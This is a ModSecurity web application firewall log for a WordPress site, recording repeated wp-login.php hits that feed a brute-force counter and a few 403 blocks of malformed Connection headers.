[Tue Feb 24 12:54:08.270907 2026] [:error] [pid 34175:tid 34179] [client 37.140.223.17:39851] [client 37.140.223.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0u8HNLnkJcHQ-bNtVpXwAAAYI"]
[Tue Feb 24 12:54:08.270994 2026] [:error] [pid 34175:tid 34191] [client 37.140.223.11:57467] [client 37.140.223.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0u8HNLnkJcHQ-bNtVpYAAAAY4"]
[Tue Feb 24 13:03:07.032373 2026] [:error] [pid 34175:tid 34201] [client 37.140.223.12:54835] [client 37.140.223.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.12, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0xC3NLnkJcHQ-bNtVtxwAAAZc"]
[Tue Feb 24 13:03:07.048464 2026] [:error] [pid 37538:tid 37563] [client 193.36.225.131:33273] [client 193.36.225.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0xCyynTiHZ9J0Y2nahhQAAAA8"]
[Tue Feb 24 13:12:17.909826 2026] [:error] [pid 11672:tid 11691] [client 37.140.223.16:30281] [client 37.140.223.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0zMfa0fhnmfPYq92sn_gAAARE"]
[Tue Feb 24 13:12:17.909864 2026] [:error] [pid 11672:tid 11677] [client 136.144.33.16:63489] [client 136.144.33.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0zMfa0fhnmfPYq92sn_QAAAQM"]
[Tue Feb 24 13:21:09.999570 2026] [:error] [pid 34175:tid 34178] [client 37.140.223.1:52925] [client 37.140.223.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ01RXNLnkJcHQ-bNtV6ZgAAAYE"]
[Tue Feb 24 13:21:10.010107 2026] [:error] [pid 11672:tid 11680] [client 136.144.33.17:59355] [client 136.144.33.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ01Rva0fhnmfPYq92ssiAAAAQY"]
[Tue Feb 24 13:30:14.637797 2026] [:error] [pid 11672:tid 11698] [client 193.36.225.112:54577] [client 193.36.225.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ03Zva0fhnmfPYq92sxoQAAARg"]
[Tue Feb 24 13:30:14.647220 2026] [:error] [pid 11672:tid 11686] [client 193.36.225.115:44415] [client 193.36.225.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ03Zva0fhnmfPYq92sxogAAAQw"]
[Tue Feb 24 13:34:52.315271 2026] [:error] [pid 37540:tid 37615] [client 43.156.204.134:58198] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZ04fCahRAUBJS8hpJUUFQAAAI0"]
[Tue Feb 24 13:39:11.375974 2026] [:error] [pid 11672:tid 11680] [client 37.140.223.4:51063] [client 37.140.223.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.4, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ05f_a0fhnmfPYq92s0xgAAAQY"]
[Tue Feb 24 13:39:11.375974 2026] [:error] [pid 11672:tid 11692] [client 37.140.223.24:44069] [client 37.140.223.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ05f_a0fhnmfPYq92s0xwAAARI"]
[Tue Feb 24 13:48:04.089913 2026] [:error] [pid 34175:tid 34198] [client 193.36.225.112:48797] [client 193.36.225.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ07lHNLnkJcHQ-bNtWJTQAAAZQ"]
[Tue Feb 24 13:48:04.129983 2026] [:error] [pid 37540:tid 37602] [client 37.140.223.7:35373] [client 37.140.223.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ07lCahRAUBJS8hpJUXCwAAAIA"]
[Tue Feb 24 13:57:16.633470 2026] [:error] [pid 34175:tid 34188] [client 37.140.223.21:59145] [client 37.140.223.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ09vHNLnkJcHQ-bNtWOnQAAAYs"]
[Tue Feb 24 13:57:16.633635 2026] [:error] [pid 37540:tid 37626] [client 193.36.225.115:40661] [client 193.36.225.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ09vCahRAUBJS8hpJUY7gAAAJg"]
[Tue Feb 24 14:10:07.318816 2026] [:error] [pid 34175:tid 34190] [client 37.140.223.17:63691] [client 37.140.223.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1Av3NLnkJcHQ-bNtWVwAAAAY0"]
[Tue Feb 24 14:10:07.318770 2026] [:error] [pid 34175:tid 34193] [client 193.36.225.131:64183] [client 193.36.225.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1Av3NLnkJcHQ-bNtWVvwAAAZA"]
[Tue Feb 24 14:19:26.897889 2026] [:error] [pid 34175:tid 34188] [client 193.36.225.134:45309] [client 193.36.225.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1C7nNLnkJcHQ-bNtWZIAAAAYs"]
[Tue Feb 24 14:19:26.908759 2026] [:error] [pid 11672:tid 11680] [client 193.36.225.112:44457] [client 193.36.225.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1C7va0fhnmfPYq92tFpQAAAQY"]
[Tue Feb 24 14:25:34.283347 2026] [:error] [pid 34175:tid 34178] [client 110.12.40.199:8669] [client 110.12.40.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 110.12.40.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1EXnNLnkJcHQ-bNtWa-AAAAYE"], referer: https://gigfragments.org/wp-login.php
[Tue Feb 24 14:25:36.210667 2026] [:error] [pid 34175:tid 34185] [client 110.12.40.199:8669] [client 110.12.40.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 110.12.40.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1EYHNLnkJcHQ-bNtWa-wAAAYg"], referer: http://mindbodyclinical.com/wp-login.php
[Tue Feb 24 14:28:40.286519 2026] [:error] [pid 37540:tid 37616] [client 37.140.223.5:65387] [client 37.140.223.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1FGCahRAUBJS8hpJUfSAAAAI4"]
[Tue Feb 24 14:28:40.290638 2026] [:error] [pid 37538:tid 37559] [client 172.245.102.10:31349] [client 172.245.102.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1FGCynTiHZ9J0Y2navcQAAAAs"]
[Tue Feb 24 14:37:41.567997 2026] [:error] [pid 34175:tid 34183] [client 172.245.102.9:30635] [client 172.245.102.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1HNXNLnkJcHQ-bNtWfCAAAAYY"]
[Tue Feb 24 14:37:41.568578 2026] [:error] [pid 34175:tid 34181] [client 193.36.225.249:20535] [client 193.36.225.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1HNXNLnkJcHQ-bNtWfCQAAAYQ"]
[Tue Feb 24 14:47:17.611273 2026] [:error] [pid 11672:tid 11689] [client 37.140.223.22:21839] [client 37.140.223.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1Jdfa0fhnmfPYq92tPvgAAAQ8"]
[Tue Feb 24 14:47:17.618765 2026] [:error] [pid 11672:tid 11685] [client 172.245.102.9:36421] [client 172.245.102.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1Jdfa0fhnmfPYq92tPvwAAAQs"]
[Tue Feb 24 14:50:26.768820 2026] [:error] [pid 37539:tid 37589] [client 43.156.202.34:60078] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZ1KMnEnr46jUQep9z8hegAAAE4"]
[Tue Feb 24 14:56:17.391531 2026] [:error] [pid 41188:tid 41206] [client 172.245.102.10:44867] [client 172.245.102.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1LkQWRg7szIRhA0WgQBQAAAU8"]
[Tue Feb 24 14:56:17.407136 2026] [:error] [pid 41188:tid 41213] [client 37.140.223.10:42251] [client 37.140.223.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1LkQWRg7szIRhA0WgQBgAAAVY"]
[Tue Feb 24 15:05:26.485228 2026] [:error] [pid 23676:tid 23701] [client 37.140.223.18:32653] [client 37.140.223.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1NtgiFN7GzdxuWtpH12gAAAFU"]
[Tue Feb 24 15:05:26.485228 2026] [:error] [pid 23762:tid 23778] [client 37.140.223.3:38185] [client 37.140.223.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1NtjBLAk0yYdnQXk39mwAAAcw"]
[Tue Feb 24 15:15:36.701923 2026] [:error] [pid 26105:tid 26122] [client 193.36.225.131:24315] [client 193.36.225.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1QGGAbosjpLmhyUBZYEgAAAM8"]
[Tue Feb 24 15:15:36.754593 2026] [:error] [pid 25969:tid 25987] [client 37.140.223.4:59861] [client 37.140.223.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.4, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1QGA8BalASL0Ivc6nvyAAAABA"]
[Tue Feb 24 15:26:28.280352 2026] [:error] [pid 23762:tid 23790] [client 172.245.102.7:62323] [client 172.245.102.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1SpDBLAk0yYdnQXk0DEwAAAdg"]
[Tue Feb 24 15:26:28.284509 2026] [:error] [pid 23677:tid 23729] [client 37.140.223.25:51677] [client 37.140.223.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1SpJ_1KUY5hVG_9Ou1QAAAAJY"]
[Tue Feb 24 15:35:59.380084 2026] [:error] [pid 23678:tid 23745] [client 193.36.225.116:28343] [client 193.36.225.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1U30jfX6zv05Y7fF6DBQAAAUs"]
[Tue Feb 24 15:35:59.385118 2026] [:error] [pid 25969:tid 25989] [client 193.36.225.133:30995] [client 193.36.225.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1U3w8BalASL0Ivc6n0rQAAABI"]
[Tue Feb 24 15:45:12.875463 2026] [:error] [pid 23762:tid 23775] [client 193.36.225.132:51495] [client 193.36.225.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1XCDBLAk0yYdnQXk0GbgAAAck"]
[Tue Feb 24 15:45:15.249228 2026] [:error] [pid 25969:tid 25986] [client 37.140.223.23:59295] [client 37.140.223.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1XCw8BalASL0Ivc6n2vQAAAA8"]
[Tue Feb 24 15:54:19.054534 2026] [:error] [pid 34751:tid 34809] [client 193.36.225.115:55853] [client 193.36.225.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1ZK87SW-lfeVKMPq_2FQAAAcE"]
[Tue Feb 24 15:54:19.054611 2026] [:error] [pid 34839:tid 34842] [client 37.140.223.3:27181] [client 37.140.223.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1ZK2Lpm0-tb2ey61GZSAAAAAE"]
[Tue Feb 24 16:03:46.901051 2026] [:error] [pid 34751:tid 34821] [client 37.140.223.10:35011] [client 37.140.223.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1bYs7SW-lfeVKMPq_7YQAAAc0"]
[Tue Feb 24 16:03:46.901635 2026] [:error] [pid 34749:tid 34766] [client 193.36.225.115:46809] [client 193.36.225.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1bYoDERuV6HM3T9KmjyAAAAEw"]
[Tue Feb 24 16:13:12.090376 2026] [:error] [pid 34839:tid 34843] [client 193.36.225.111:60571] [client 193.36.225.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1dmGLpm0-tb2ey61GhqgAAAAI"]
[Tue Feb 24 16:22:45.795696 2026] [:error] [pid 34749:tid 34765] [client 136.144.33.16:38807] [client 136.144.33.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1f1YDERuV6HM3T9KmqJwAAAEs"]
[Tue Feb 24 16:22:45.808912 2026] [:error] [pid 34750:tid 34784] [client 37.140.223.3:58559] [client 37.140.223.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1f1eaZ-Iv_wvbRkKKt4gAAAUM"]
[Tue Feb 24 16:33:56.861819 2026] [:error] [pid 34750:tid 34789] [client 193.36.225.134:62245] [client 193.36.225.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1idOaZ-Iv_wvbRkKKxVwAAAUg"]
[Tue Feb 24 16:33:56.862058 2026] [:error] [pid 34750:tid 34791] [client 193.36.225.136:42821] [client 193.36.225.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1idOaZ-Iv_wvbRkKKxWAAAAUo"]
[Tue Feb 24 16:43:51.460218 2026] [:error] [pid 34750:tid 34790] [client 193.36.225.239:50921] [client 193.36.225.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.239, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1kx-aZ-Iv_wvbRkKK1ZgAAAUk"]
[Tue Feb 24 16:43:51.460632 2026] [:error] [pid 34839:tid 34861] [client 37.140.223.21:25841] [client 37.140.223.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1kx2Lpm0-tb2ey61Gp3gAAABQ"]
[Tue Feb 24 16:53:33.199885 2026] [:error] [pid 37873:tid 37893] [client 193.36.225.129:32249] [client 193.36.225.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1nDU625ION6Syu4d4XOAAAANI"]
[Tue Feb 24 16:53:33.200176 2026] [:error] [pid 34751:tid 34822] [client 37.140.223.7:39033] [client 37.140.223.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1nDc7SW-lfeVKMPq8IeAAAAc4"]
[Tue Feb 24 17:03:10.111846 2026] [:error] [pid 34839:tid 34864] [client 193.36.225.117:28513] [client 193.36.225.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1pTmLpm0-tb2ey61GweAAAABc"]
[Tue Feb 24 17:03:10.112158 2026] [:error] [pid 34751:tid 34812] [client 136.144.33.209:40103] [client 136.144.33.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1pTs7SW-lfeVKMPq8KwQAAAcQ"]
[Tue Feb 24 17:13:20.420865 2026] [:error] [pid 34749:tid 34778] [client 193.36.225.239:41751] [client 193.36.225.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.239, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ1rsIDERuV6HM3T9KmzTQAAAFg"]
